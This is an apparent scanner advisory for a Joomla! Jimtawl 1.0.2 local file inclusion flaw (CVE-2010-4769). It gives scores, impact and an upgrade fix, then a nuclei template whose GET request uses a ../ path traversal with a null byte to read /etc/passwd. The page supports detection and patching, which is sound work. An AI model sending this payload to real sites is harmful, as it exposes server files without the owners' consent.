Joomla! Component Jimtawl 1.0.2 - Local File Inclusion

highseverity

7.5CVSS score

7.6%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Jimtawl (com_jimtawl) component 1.0.2 Joomla! allows remote attackers to read arbitrary files and possibly unspecified other impacts via a .. (dot dot) in the task parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-4769 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-4769

info:
  name: Joomla! Component Jimtawl 1.0.2 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Jimtawl (com_jimtawl) component 1.0.2 Joomla! allows remote attackers to read arbitrary files and possibly unspecified other impacts via a .. (dot dot) in the task parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/15585
    - https://nvd.nist.gov/vuln/detail/CVE-2010-4769
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-4769
    cwe-id: CWE-22
    epss-score: 0.07593
    epss-percentile: 0.94589
    cpe: cpe:2.3:a:janguo:com_jimtawl:1.0.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: janguo
    product: com_jimtawl
  tags: cve,cve2010,joomla,lfi,edb,janguo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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